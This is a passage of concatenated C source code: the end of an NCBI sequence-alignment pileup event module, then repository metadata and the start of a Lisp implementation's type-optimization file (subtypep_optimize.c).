state_curr . ins_cnt ); /* fill in the buffer with each entry from mismatch */ for ( seq_idx = entry -> state_curr . seq_idx - 1; seq_idx >= ins_start; -- seq_idx ) { /* pull base from MISMATCH */ if ( HAS_MISMATCH [ seq_idx ] ) buffer [ seq_idx - ins_start ] = MISMATCH [ -- mismatch_idx ]; /* will need to get base from reference */ else ref_first = seq_idx; } /* if there are some to be filled from reference */ if ( entry -> state_curr . mismatch_idx - mismatch_idx != entry -> state_curr . ins_cnt ) { CSRA1_Pileup * pileup = CSRA1_PileupEventGetPileup ( self ); /* a little more complex than we'd like here... chances are quite good that the matched portion of the reference is in our current chunk, but it's not guaranteed, nor is it guaranteed to be in a single chunk. */ /* the number of characters in string that could come from reference */ uint32_t str_len = entry -> state_curr . seq_idx - ref_first; /* offset the string buffer to the first base to be filled by reference */ char * rbuffer = & buffer [ entry -> state_curr . ins_cnt - str_len ]; /* the current chunk of reference bases or NULL */ const INSDC_dna_text * READ = pileup -> ref_chunk_bases; /* generate range of reference positions */ int64_t ins_ref_zstart = CSRA1_PileupEventGetPileup ( self ) -> ref_zpos - ( int64_t ) str_len; int64_t ins_ref_last = CSRA1_PileupEventGetPileup ( self ) -> ref_zpos - 1; /* generate range of reference chunk ids */ int64_t ins_ref_start_id = ins_ref_zstart / pileup -> ref . max_seq_len + pileup -> reference_start_id; int64_t ins_ref_last_id = ins_ref_last / pileup -> ref . max_seq_len + pileup -> reference_start_id; /* the starting offset into the left-most reference chunk */ uint32_t ref_off = ( uint32_t ) ( ins_ref_zstart % pileup -> ref . max_seq_len ); /* check for error in the starting position: must be >= 0 */ if ( ins_ref_zstart < 0 ) { INTERNAL_ERROR ( xcParamOutOfBounds, "insertion string accessing reference at position %ld", ins_ref_zstart ); free ( buffer ); return NULL; } /* try to take advantage of the chunk that's loaded right now */ if ( READ != NULL && pileup -> ref_chunk_id == ins_ref_last_id ) { /* most common case - everything within this chunk */ if ( ins_ref_start_id == ins_ref_last_id ) { /* "seq_off" is implied 0, i.e. start of insertion sequence. "ref_off" is calculated start of insert in reference coords modulo chunk size */ for ( seq_idx = 0; seq_idx < str_len; ++ seq_idx ) { if ( rbuffer [ seq_idx ] == 0 ) rbuffer [ seq_idx ] = READ [ ref_off + seq_idx ]; } goto buffer_complete; } /* less common case - share only part of this chunk */ else { /* "ref_off" is implied 0, i.e. start of reference chunk which is known to be the last but not first chunk, therefore the start is at 0 where the insertion crosses chunk boundaries. "seq_off" is the start of the last portion of the string to intersect this reference chunk. */ uint32_t seq_off = str_len - ( uint32_t ) ( CSRA1_PileupEventGetPileup ( self ) -> ref_zpos % pileup -> ref . max_seq_len ); for ( seq_idx = seq_off; seq_idx < str_len; ++ seq_idx ) { if ( rbuffer [ seq_idx ] == 0 ) rbuffer [ seq_idx ] = READ [ seq_idx - seq_off ]; } /* the last part of the string has been completed */ str_len = seq_off; -- ins_ref_last_id; } } /* forget current reference chunk */ pileup -> ref_chunk_bases = NULL; pileup -> ref_base = 0; /* set the reference offset of initial chunk */ ref_off = ( uint32_t ) ( ins_ref_zstart % pileup -> ref . max_seq_len ); /* walk from ins_ref_start_id to ins_ref_last_id */ for ( seq_idx = 0; ins_ref_start_id <= ins_ref_last_id; ++ ins_ref_start_id, ref_off = 0 ) { const void * base; uint32_t limit, seq_off, row_len; ON_FAIL ( NGS_CursorCellDataDirect ( pileup -> ref . curs, ctx, ins_ref_start_id, reference_READ, & limit, & base, & seq_off, & row_len ) ) { READ = NULL; break; } READ = base; /* the total number of bases left in insertion string */ limit = str_len - seq_idx; /* cannot exceed the bases available in this chunk */ if ( ref_off + limit > row_len ) limit = row_len - ref_off; /* end index within string */ limit += seq_idx; for ( seq_off = seq_idx; seq_idx < limit; ++ seq_idx ) { if ( rbuffer [ seq_idx ] == 0 ) rbuffer [ seq_idx ] = READ [ ref_off + seq_idx - seq_off ]; } /* we stopped either due to: 1. end of string, or 2. end of chunk - in which case a. must not be an end chunk, i.e. has row_len == MAX_SEQ_LEN, and b. we must loop again */ assert ( seq_idx == str_len || ( row_len == pileup -> ref . max_seq_len && ins_ref_start_id < ins_ref_last_id ) ); } /* finally, if at this point we have cached the READ for reference and within our current chunk, save it on the pileup */ if ( ins_ref_last_id == pileup -> ref_chunk_id ) pileup -> ref_chunk_bases = READ; } if ( ! FAILED () ) { NGS_String * bases; buffer_complete: TRY ( bases = NGS_StringMakeOwned ( ctx, buffer, entry -> state_curr . ins_cnt ) ) { return bases; } } } free ( buffer ); } } } return NULL; } struct NGS_String * CSRA1_PileupEventGetInsertionQualities ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { CSRA1_Pileup_Entry * entry = self -> entry; /* handle the case where there is no insertion */ if ( entry -> state_curr . ins_cnt == 0 ) { return NGS_StringMake ( ctx, "", 0 ); } else { /* allocate a buffer for the NGS_String */ char * buffer = calloc ( 1, entry -> state_curr . ins_cnt + 1 ); if ( buffer == NULL ) SYSTEM_ERROR ( xcNoMemory, "allocating %zu bytes", entry -> state_curr . ins_cnt + 1 ); else { const INSDC_quality_phred * QUALITY; TRY ( QUALITY = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_QUALITY ) ) { NGS_String * bases; uint32_t i, qstart = entry -> state_curr . seq_idx - entry -> state_curr . ins_cnt; assert ( QUALITY != NULL ); assert ( entry -> state_curr . seq_idx <= entry -> cell_len [ pileup_event_col_QUALITY ] ); assert ( entry -> state_curr . seq_idx >= entry -> state_curr . ins_cnt ); for ( i = 0; i < entry -> state_curr . ins_cnt; ++ i ) buffer [ i ] = ( char ) ( QUALITY [ qstart + i ] + 33 ); TRY ( bases = NGS_StringMakeOwned ( ctx, buffer, entry -> state_curr . ins_cnt ) ) { return bases; } } free ( buffer ); } } } return NULL; } unsigned int CSRA1_PileupEventGetRepeatCount ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { bool event_type; uint32_t repeat, limit; const bool * HAS_MISMATCH, * HAS_REF_OFFSET; const CSRA1_Pileup_Entry * entry = self -> entry; /* handle the easy part first */ if ( entry -> state_curr . del_cnt != 0 ) return entry -> state_curr . del_cnt; /* now, count the number of repeated matches or mismatches, WITHOUT any intervening insertions or deletions */ HAS_MISMATCH = entry -> cell_data [ pileup_event_col_HAS_MISMATCH ]; HAS_REF_OFFSET = entry -> cell_data [ pileup_event_col_HAS_REF_OFFSET ]; limit = entry -> xend - ( entry -> zstart + entry -> state_curr . zstart_adj ); /* grab the type of event we have now */ event_type = HAS_MISMATCH [ entry -> state_curr . seq_idx ]; for ( repeat = 1; repeat < limit; ++ repeat ) { if ( HAS_REF_OFFSET [ entry -> state_curr . seq_idx + repeat ] ) break; if ( HAS_MISMATCH [ entry -> state_curr . seq_idx + repeat ] != event_type ) break; } return repeat; } return 0; } int CSRA1_PileupEventGetIndelType ( const CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); TRY ( CHECK_STATE ( self, ctx ) ) { CSRA1_Pileup_Entry * entry = self -> entry; if ( entry -> state_curr . del_cnt != 0 || entry -> state_curr . ins_cnt != 0 ) { CSRA1_Pileup * pileup = CSRA1_PileupEventGetPileup ( self ); CSRA1_Pileup_AlignCursorData * cd = entry -> secondary ? & pileup -> sa : & pileup -> pa; if ( ! cd -> missing_REF_OFFSET_TYPE ) { const NCBI_align_ro_type * REF_OFFSET_TYPE; TRY ( REF_OFFSET_TYPE = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_REF_OFFSET_TYPE ) ) { assert ( REF_OFFSET_TYPE != NULL ); assert ( entry -> state_curr . ref_off_idx > 0 ); assert ( entry -> state_curr . ref_off_idx <= entry -> cell_len [ pileup_event_col_REF_OFFSET_TYPE ] ); switch ( REF_OFFSET_TYPE [ entry -> state_curr . ref_off_idx - 1 ] ) { case NCBI_align_ro_normal: case NCBI_align_ro_soft_clip: break; case NCBI_align_ro_intron_plus: return NGS_PileupIndelType_intron_plus; case NCBI_align_ro_intron_minus: return NGS_PileupIndelType_intron_minus; case NCBI_align_ro_intron_unknown: return NGS_PileupIndelType_intron_unknown; case NCBI_align_ro_complete_genomics: if ( entry -> state_curr . ins_cnt != 0 ) return NGS_PileupIndelType_read_overlap; assert ( entry -> state_curr . del_cnt != 0 ); return NGS_PileupIndelType_read_gap; } } CATCH_ALL () { CLEAR (); cd -> missing_REF_OFFSET_TYPE = true; } } } return NGS_PileupIndelType_normal; } return 0; } static void CSRA1_PileupEventEntryFocus ( CSRA1_PileupEvent * self, CSRA1_Pileup_Entry * entry ) { const bool * HAS_MISMATCH = entry -> cell_data [ pileup_event_col_HAS_MISMATCH ]; const bool * HAS_REF_OFFSET = entry -> cell_data [ pileup_event_col_HAS_REF_OFFSET ]; const int32_t * REF_OFFSET = entry -> cell_data [ pileup_event_col_REF_OFFSET ]; /* we need the entry to be fast-forwarded */ int32_t ref_zpos_adj, plus_end_pos; uint32_t next_ins_cnt; advance_to_the_next_position: /* TODO: try to reorganise the function not to have this goto */ ref_zpos_adj = CSRA1_PileupEventGetPileup ( self ) -> ref_zpos - entry -> zstart; plus_end_pos = entry->status == pileup_entry_status_INITIAL ? 0 : 1; assert ( ref_zpos_adj >= 0 ); /* always lose any insertion, forget cached values */ /*entry -> state_next . ins_cnt = 0;*/ entry -> state_next . mismatch = 0; next_ins_cnt = 0; /* this variable is needed not to erase state_curr.ins_count on the first iteration of the next while-loop */ /* TODO: advise with Kurt about the case with INITIAL - should it be reset? */ /* must advance in all but initial case */ assert ( ref_zpos_adj + plus_end_pos > entry -> state_next . zstart_adj || entry -> state_next . zstart_adj == 0 ); /* walk forward */ while ( ref_zpos_adj + plus_end_pos > entry -> state_next . zstart_adj ) { entry -> state_curr = entry -> state_next; /* within a deletion */ if ( entry -> state_next . del_cnt != 0 ) -- entry -> state_next . del_cnt; else { uint32_t prior_seq_idx = entry -> state_next . seq_idx ++; /* adjust mismatch_idx */ assert ( HAS_MISMATCH != NULL ); assert ( prior_seq_idx < entry -> cell_len [ pileup_event_col_HAS_MISMATCH ] ); entry -> state_next . mismatch_idx += HAS_MISMATCH [ prior_seq_idx ]; /* if the current sequence address is beyond end, bail */ if ( entry -> state_next . seq_idx >= entry -> cell_len [ pileup_event_col_HAS_REF_OFFSET ] ) { entry -> status = pileup_entry_status_DONE; entry -> state_next . ins_cnt = next_ins_cnt; return; } /* retry point for merging events */ merge_adjacent_indel_events: /* adjust alignment */ if ( HAS_REF_OFFSET [ entry -> state_next . seq_idx ] ) { assert ( REF_OFFSET != NULL ); if ( REF_OFFSET [ entry -> state_next . ref_off_idx ] < 0 ) { /* insertion */ uint32_t i, ins_cnt = - REF_OFFSET [ entry -> state_next . ref_off_idx ]; /* clip to SEQUENCE length */ if ( ( uint32_t ) ( entry -> state_next . seq_idx + ins_cnt ) > entry -> cell_len [ pileup_event_col_HAS_REF_OFFSET ] ) ins_cnt = ( int32_t ) entry -> cell_len [ pileup_event_col_HAS_REF_OFFSET ] - entry -> state_next . seq_idx; /* combine adjacent inserts */ /*entry -> state_next . ins_cnt += ins_cnt;*/ next_ins_cnt += ins_cnt; /* scan over insertion to adjust mismatch index */ for ( i = 0; i < ins_cnt; ++ i ) entry -> state_next . mismatch_idx += HAS_MISMATCH [ entry -> state_next . seq_idx + i ]; entry -> state_next . seq_idx += ins_cnt; if ( entry -> state_next . seq_idx >= entry -> cell_len [ pileup_event_col_HAS_REF_OFFSET ] ) { entry -> status = pileup_entry_status_DONE; entry -> state_next . ins_cnt = next_ins_cnt; return; } /* NB - there may be entries in HAS_REF_OFFSET that are set within the insertion. These are used to split the insertion for preserving boundaries indicated by Complete Genomics BAM cigar encoding. for Pileup, we treat the entire subsequence as a single insertion. The "true" values in HAS_REF_OFFSET within an insertion do NOT represent a corresponding entry in REF_OFFSET, so they are ignored here. */ /* detect the case of an insertion followed by a deletion */ if ( entry -> state_next . seq_idx < entry -> cell_len [ pileup_event_col_HAS_REF_OFFSET ] ) { ++ entry -> state_next . ref_off_idx; goto merge_adjacent_indel_events; } } else { /* deletion */ entry -> state_next . del_cnt += REF_OFFSET [ entry -> state_next . ref_off_idx ]; /* clip to PROJECTION length */ if ( ( int64_t ) entry -> state_next . del_cnt > entry -> xend - ( entry -> zstart + entry -> state_next . zstart_adj ) ) entry -> state_next . del_cnt = ( int32_t ) ( entry -> xend - ( entry -> zstart + entry -> state_next . zstart_adj ) ); } ++ entry -> state_next . ref_off_idx; } } ++ entry -> state_next . zstart_adj; entry -> state_next . ins_cnt = next_ins_cnt; } if ( entry->status == pileup_entry_status_INITIAL ) { entry->status = pileup_entry_status_VALID; goto advance_to_the_next_position; } } static void CSRA1_PileupEventEntryInit ( CSRA1_PileupEvent * self, ctx_t ctx, CSRA1_Pileup_Entry * entry ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); const bool * HAS_MISMATCH; TRY ( HAS_MISMATCH = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_HAS_MISMATCH ) ) { const int32_t * REF_OFFSET; TRY ( REF_OFFSET = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_REF_OFFSET ) ) { const bool * HAS_REF_OFFSET; TRY ( HAS_REF_OFFSET = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_HAS_REF_OFFSET ) ) { /* if there are no offsets, then there are no indels, which means that there are only match and mismatch events */ if ( entry -> cell_len [ pileup_event_col_REF_OFFSET ] == 0 ) return; /* check for left soft-clip */ while ( HAS_REF_OFFSET [ entry -> state_next . seq_idx ] && REF_OFFSET [ entry -> state_next . ref_off_idx ] < 0 ) { uint32_t i, end = entry -> state_next . seq_idx - REF_OFFSET [ entry -> state_next . ref_off_idx ++ ]; /* safety check */ if ( end > entry -> cell_len [ pileup_event_col_HAS_REF_OFFSET ] ) end = entry -> cell_len [ pileup_event_col_HAS_REF_OFFSET ]; /* skip over soft-clip */ for ( i = entry -> state_next . seq_idx; i < end; ++ i ) entry -> state_next . mismatch_idx += HAS_MISMATCH [ i ]; entry -> state_next . seq_idx = end; } /* capture initial deletion - should never occur */ if ( HAS_REF_OFFSET [ entry -> state_next . seq_idx ] && REF_OFFSET [ entry -> state_next . ref_off_idx ] > 0 ) entry -> state_next . del_cnt = REF_OFFSET [ entry -> state_next . ref_off_idx ]; /* TODO: maybe pileup_entry_status_VALID must be set here */ return; } } } self -> entry = NULL; } static void CSRA1_PileupEventRefreshEntry ( CSRA1_PileupEvent * self, ctx_t ctx, CSRA1_Pileup_Entry * entry ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); const bool * HAS_MISMATCH; TRY ( HAS_MISMATCH = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_HAS_MISMATCH ) ) { const int32_t * REF_OFFSET; TRY ( REF_OFFSET = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_REF_OFFSET ) ) { const bool * HAS_REF_OFFSET; TRY ( HAS_REF_OFFSET = CSRA1_PileupEventGetEntry ( self, ctx, entry, pileup_event_col_HAS_REF_OFFSET ) ) { assert ( HAS_MISMATCH != NULL ); assert ( HAS_REF_OFFSET != NULL ); assert ( REF_OFFSET != NULL ); (void)HAS_MISMATCH; (void)HAS_REF_OFFSET; (void)REF_OFFSET; } } } } bool CSRA1_PileupEventIteratorNext ( CSRA1_PileupEvent * self, ctx_t ctx ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcAccessing ); CSRA1_Pileup_Entry * entry; #if _DEBUGGING CSRA1_Pileup * pileup = CSRA1_PileupEventGetPileup ( self ); assert ( pileup != NULL ); #endif /* go to next entry */ if ( ! self -> seen_first ) self -> seen_first = true; else if ( self -> entry != NULL ) self -> entry = ( CSRA1_Pileup_Entry * ) DLNodeNext ( & self -> entry -> node ); /* detect end of pileup */ entry = self -> entry; if ( self -> entry == NULL ) return false; /* detect new entry */ if ( ! entry -> seen ) { ON_FAIL ( CSRA1_PileupEventEntryInit ( self, ctx, entry ) ) return false; entry -> seen = true; assert ( self -> entry != NULL ); } else if ( entry -> cell_data [ pileup_event_col_REF_OFFSET ] == NULL ) { ON_FAIL ( CSRA1_PileupEventRefreshEntry ( self, ctx, entry ) ) return false; } /* this is an entry we've seen before */ CSRA1_PileupEventEntryFocus ( self, entry ); return true; } void CSRA1_PileupEventIteratorReset ( CSRA1_PileupEvent * self, ctx_t ctx ) { CSRA1_Pileup_Entry * entry; CSRA1_Pileup * pileup = CSRA1_PileupEventGetPileup ( self ); self -> entry = ( CSRA1_Pileup_Entry * ) DLListHead ( & pileup -> align . pileup ); self -> seen_first = false; for ( entry = self -> entry; entry != NULL; entry = ( CSRA1_Pileup_Entry * ) DLNodeNext ( & entry -> node ) ) { memset ( & entry-> state_curr, 0, sizeof (entry-> state_curr) ); memset ( & entry-> state_next, 0, sizeof (entry-> state_next) ); /*entry -> status = pileup_entry_status_INITIAL;*/ /* TODO: remove comment */ } } void CSRA1_PileupEventInit ( ctx_t ctx, CSRA1_PileupEvent * obj, const NGS_Pileup_vt * vt, const char * clsname, const char * instname, NGS_Reference * ref ) { FUNC_ENTRY ( ctx, rcSRA, rcCursor, rcConstructing ); assert ( obj != NULL ); NGS_PileupInit ( ctx, & obj -> dad, vt, clsname, instname, ref ); }
578450f784aec25ba41920a181e9a0527164b776
03b2c80dbc41e904b167d504666e27d798da5447
/src/subtypep_optimize.c
f02147d3ad4bf4f93866efb71293e8d02200a19d
[ "Unlicense" ]
permissive
nptcl/npt
7c1570b497cdce0b8971cb445fbc04cb500232d3
aa714a2370ac9fa5348c2fc96159b40b9de3de07
refs/heads/master
2023-03-20T09:13:54.669118
2022-07-02T11:17:44
2022-07-02T11:17:44
171,985,905
160
12
Unlicense
2023-03-11T01:36:37
2019-02-22T03:11:34
C
UTF-8
C
false
false
45,249
c
subtypep_optimize.c
#include "bignum_data.h" #include "bignum_object.h" #include "condition.h" #include "cons.h" #include "cons_list.h" #include "constant.h" #include "integer.h" #include "integer_calc.h" #include "integer_common.h" #include "number.h" #include "object.h" #include "real_equal.h" #include "sequence.h" #include "subtypep_optimize.h" #include "type.h" #include "type_copy.h" #include "type_delay.h" #include "type_parse.h" #include "type_upgraded.h" /* * macro */ static int type_optimize_(LocalRoot local, addr type, addr *value, int *ret); static int check_optimize_(addr type, int *ret); typedef int (*extractcalltype)(addr *, addr); #define CheckNotDecl(x, type) (RefLispDecl(x) == type && RefNotDecl(x)) #define Return_or_optimize(call, type, ret) { \ Return(call(type, ret)); \ if (*ret) { \ return 0; \ } \ }; #define Return_check_optimize(call, type, ret) { \ Return(call(type, ret)); \ if (*ret == 0) { \ return 0; \ } \ }; #define extractcall(local, call, pos, update) { \ int __check = 0; \ addr __value = 0; \ Check(GetType(pos) != LISPTYPE_TYPE, "type error"); \ for (;;) { \ Return(call(local, pos, &__value, &__check)); \ if (! __check) { \ break; \ } \ update = 1; \ pos = __value; \ } \ } #define extractcallnot(local, call, pos, update) { \ int __check = 0; \ addr __value = 0; \ Check(GetType(pos) != LISPTYPE_TYPE, "type error"); \ for (;;) { \ Return(call(local, pos, &__value, &__check)); \ if (! __check) { \ break; \ }\ update = 1; \ if (RefNotDecl(pos)) { \ type_revnotdecl(__value); \ } \ pos = __value; \ } \ } /* * optimize */ static int check_type_delay_(addr pos, int *ret) { if (RefLispDecl(pos) != LISPDECL_DELAY) return Result(ret, 0); GetArrayType(pos, 1, &pos); if (pos == Nil) return Result(ret, 1); return check_optimize_(pos, ret); } static int optimize_type_delay_(LocalRoot local, addr pos, addr *value, int *ret) { Return_check_optimize(check_type_delay_, pos, ret); Return(get_delay_type_(Execute_Thread, pos, &pos)); return type_optimize_(local, pos, value, ret); } static int check_optimized_(addr right, int *ret) { enum LISPDECL type; GetLispDecl(right, &type); *ret = (type == LISPDECL_OPTIMIZED || type == LISPDECL_SUBTYPEP); return 0; } static int optimize_optimized_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_optimized_, right, ret); if (! RefNotDecl(right)) { GetArrayType(right, 0, value); } else { GetArrayType(right, 0, &right); type_copy_unsafe_local(local, &right, right); type_revnotdecl(right); *value = right; } return Result(ret, 1); } static int check_not_asterisk_(addr right, int *ret) { *ret = CheckNotDecl(right, LISPDECL_ASTERISK); return 0; } static int optimize_not_asterisk_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_not_asterisk_, right, ret); /* error */ return fmte_("Don't allow to use (not *).", NULL); } static int check_not_nil_(addr right, int *ret) { *ret = CheckNotDecl(right, LISPDECL_NIL); return 0; } static int optimize_not_nil_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_not_nil_, right, ret); type0_local(local, LISPDECL_T, value); return Result(ret, 1); } static int check_not_t_(addr right, int *ret) { *ret = CheckNotDecl(right, LISPDECL_T); return 0; } static int optimize_not_t_(LocalRoot local, addr right, addr *value, int *ret) { Return_check_optimize(check_not_t_, right, ret); type0_local(local, LISPDECL_NIL, value); return Result(ret, 1); } /* (mod size) -> (integer 0 (size)) */ static int check_mod_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_MOD); return 0; } static int optimize_mod_(LocalRoot local, addr right, addr *value, int *ret) { addr left, pos; Return_check_optimize(check_mod_, right, ret); GetArrayType(right, 0, &left); Check(! integerp(left), "type error"); Check(! plusp_integer_debug(left), "plusp error"); fixnum_local(local, &pos, 0); type4_local(local, LISPDECL_INTEGER, Nil, pos, T, left, value); return Result(ret, 1); } /* atom -> (not cons) */ static int check_atom_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_ATOM); return 0; } static int optimize_atom_(LocalRoot local, addr right, addr *value, int *ret) { addr left; Return_check_optimize(check_atom_, right, ret); type2aster_localall(local, LISPDECL_CONS, &left); SetNotDecl(left, 1); *value = left; return Result(ret, 1); } /* list -> (or null cons) */ static int check_list_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_LIST); return 0; } static int optimize_list_(LocalRoot local, addr right, addr *value, int *ret) { addr pos, array; Return_check_optimize(check_list_, right, ret); vector4_local(local, &array, 2); /* null */ type0_local(local, LISPDECL_NULL, &pos); SetArrayA4(array, 0, pos); /* cons */ type2aster_localall(local, LISPDECL_CONS, &pos); SetArrayA4(array, 1, pos); /* result */ type1_local(local, LISPDECL_OR, array, value); return Result(ret, 1); } /* boolean -> (or null (eql t)) */ static int check_boolean_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_BOOLEAN); return 0; } static int optimize_boolean_(LocalRoot local, addr right, addr *value, int *ret) { addr pos, array; Return_check_optimize(check_boolean_, right, ret); vector4_local(local, &array, 2); /* null */ type0_local(local, LISPDECL_NULL, &pos); SetArrayA4(array, 0, pos); /* (eql t) */ type_eql_local(local, T, &pos); SetArrayA4(array, 1, pos); /* result */ type1_local(local, LISPDECL_OR, array, value); return Result(ret, 1); } /* * (... type *) -> (array type 1) * (... type size) -> (array type (size)) */ static int extract_vector(LocalRoot local, addr *ret, enum LISPDECL decl, addr type, addr size) { addr array; if (type_asterisk_p(size)) { fixnum_local(local, &size, 1); type2_local(local, decl, type, size, ret); return 1; } if (GetType(size) == LISPTYPE_FIXNUM) { vector4_local(local, &array, 1); SetArrayA4(array, 0, size); type2_local(local, decl, type, array, ret); return 1; } return 0; } /* sequence -> (or null cons (array * 1)) */ static int check_sequence_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_SEQUENCE); return 0; } static int optimize_sequence_(LocalRoot local, addr right, addr *value, int *ret) { addr pos, array, type; Return_check_optimize(check_sequence_, right, ret); vector4_local(local, &array, 3); /* null */ type0_local(local, LISPDECL_NULL, &pos); SetArrayA4(array, 0, pos); /* cons */ type2aster_localall(local, LISPDECL_CONS, &pos); SetArrayA4(array, 1, pos); /* (array * 1) */ type0_local(local, LISPDECL_ASTERISK, &type); fixnum_local(local, &pos, 1); type2_local(local, LISPDECL_ARRAY, type, pos, &pos); SetArrayA4(array, 2, pos); /* result */ type1_local(local, LISPDECL_OR, array, value); return Result(ret, 1); } /* (vector type size) -> (array type (size)) */ static int check_vector_(addr right, int *ret) { if (RefLispDecl(right) != LISPDECL_VECTOR) return Result(ret, 0); GetArrayType(right, 1, &right); *ret = (type_asterisk_p(right) || GetType(right) == LISPTYPE_FIXNUM); return 0; } static int optimize_vector_(LocalRoot local, addr right, addr *value, int *ret) { addr type; Return_check_optimize(check_vector_, right, ret); GetArrayType(right, 0, &type); GetArrayType(right, 1, &right); extract_vector(local, value, LISPDECL_ARRAY, type, right); return Result(ret, 1); } /* (simple-vector size) -> (simple-array t (size)) */ static int check_vector_type(enum LISPDECL decl, addr right) { if (RefLispDecl(right) != decl) return 0; GetArrayType(right, 0, &right); return type_asterisk_p(right) || GetType(right) == LISPTYPE_FIXNUM; } static int check_simple_vector_(addr right, int *ret) { *ret = check_vector_type(LISPDECL_SIMPLE_VECTOR, right); return 0; } static int optimize_simple_vector_(LocalRoot local, addr right, addr *value, int *ret) { addr type; Return_check_optimize(check_simple_vector_, right, ret); upgraded_array_t_local(local, &type); GetArrayType(right, 0, &right); extract_vector(local, value, LISPDECL_SIMPLE_ARRAY, type, right); return Result(ret, 1); } /* (bit-vector size) -> (array bit (size)) */ static int check_bit_vector_(addr right, int *ret) { *ret = check_vector_type(LISPDECL_BIT_VECTOR, right); return 0; } static int optimize_bit_vector_(LocalRoot local, addr right, addr *value, int *ret) { addr type; Return_check_optimize(check_bit_vector_, right, ret); upgraded_array_bit_local(local, &type); GetArrayType(right, 0, &right); extract_vector(local, value, LISPDECL_ARRAY, type, right); return Result(ret, 1); } /* (simple-bit-vector size) -> (simple-array bit (size)) */ static int check_simple_bit_vector_(addr right, int *ret) { *ret = check_vector_type(LISPDECL_SIMPLE_BIT_VECTOR, right); return 0; } static int optimize_simple_bit_vector_( LocalRoot local, addr right, addr *value, int *ret) { addr type; Return_check_optimize(check_simple_bit_vector_, right, ret); upgraded_array_bit_local(local, &type); GetArrayType(right, 0, &right); extract_vector(local, value, LISPDECL_SIMPLE_ARRAY, type, right); return Result(ret, 1); } /* extended-char -> (and character (not base-char)) */ static int check_extended_char_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_EXTENDED_CHAR); return 0; } static int optimize_extended_char_(LocalRoot local, addr right, addr *value, int *ret) { addr array; Return_check_optimize(check_extended_char_, right, ret); vector4_local(local, &array, 2); /* character */ type0_local(local, LISPDECL_CHARACTER, &right); SetArrayA4(array, 0, right); /* (not base-char) */ type0_local(local, LISPDECL_BASE_CHAR, &right); SetNotDecl(right, 1); SetArrayA4(array, 1, right); /* result */ type1_local(local, LISPDECL_AND, array, value); return Result(ret, 1); } /* (string size) -> (vector character size) */ static void extract_string(LocalRoot local, addr *value, addr right, addr type) { GetArrayType(right, 0, &right); type2_local(local, LISPDECL_VECTOR, type, right, value); } static int check_string_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_STRING); return 0; } static int optimize_string_(LocalRoot local, addr right, addr *value, int *ret) { addr type; Return_check_optimize(check_string_, right, ret); upgraded_array_character_local(local, &type); extract_string(local, value, right, type); return Result(ret, 1); } /* (base-string size) -> (vector base-char size) */ static int check_base_string_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_BASE_STRING); return 0; } static int optimize_base_string_(LocalRoot local, addr right, addr *value, int *ret) { addr type; Return_check_optimize(check_base_string_, right, ret); upgraded_array_character_local(local, &type); extract_string(local, value, right, type); return Result(ret, 1); } /* (simple-string size) -> (simple-array character (size)) */ static int check_simple_string_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_SIMPLE_STRING); return 0; } static int optimize_simple_string_(LocalRoot local, addr right, addr *value, int *ret) { addr type; Return_check_optimize(check_simple_string_, right, ret); upgraded_array_character_local(local, &type); GetArrayType(right, 0, &right); extract_vector(local, value, LISPDECL_SIMPLE_ARRAY, type, right); return Result(ret, 1); } /* (simple-base-string size) -> (simple-array base-char (size)) */ static int check_simple_base_string_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_SIMPLE_BASE_STRING); return 0; } static int optimize_simple_base_string_( LocalRoot local, addr right, addr *value, int *ret) { addr type; Return_check_optimize(check_simple_base_string_, right, ret); upgraded_array_character_local(local, &type); GetArrayType(right, 0, &right); extract_vector(local, value, LISPDECL_SIMPLE_ARRAY, type, right); return Result(ret, 1); } /* (signed-byte *) -> integer */ /* (signed-byte size) -> (integer -2^size-1 2^(size-1)-1) */ static int check_signed_byte_(addr right, int *ret) { *ret = (RefLispDecl(right) == LISPDECL_SIGNED_BYTE); return 0; } static int optimize_signed_byte_(LocalRoot local, addr type, addr *value, int *ret) { addr x, y; Return_check_optimize(check_signed_byte_, type, ret); /* asterisk */ GetArrayType(type, 0, &y); if (type_asterisk_p(y)) { /* (signed-byte *) */ type4aster_localall(local, LISPDECL_INTEGER, value); return Result(ret, 1); } /* (let ((v (ash 1 (1- value)))) * `(integer ,(- v) ,(1- v))) */ fixnum_heap(&x, 1); Return(oneminus_integer_common_(local, y, &y)); Return(ash_integer_common_(local, x, y, &y)); Return(sign_reverse_integer_common_(y, &x)); Return(oneminus_integer_common_(local, y, &y)); Return(integer_result_local_(local, x, &x)); Return(integer_result_local_(local, y, &y)); type4_local(local, LISPDECL_INTEGER, Nil, x, Nil, y, value); return Result(ret, 1); } /* (unsigned-byte *) -> (integer 0 *) */ /* (unsigned-byte size) -> (integer 0 2^size-1) */ static int check_unsigned_byte_(addr right, int *ret) { *ret = 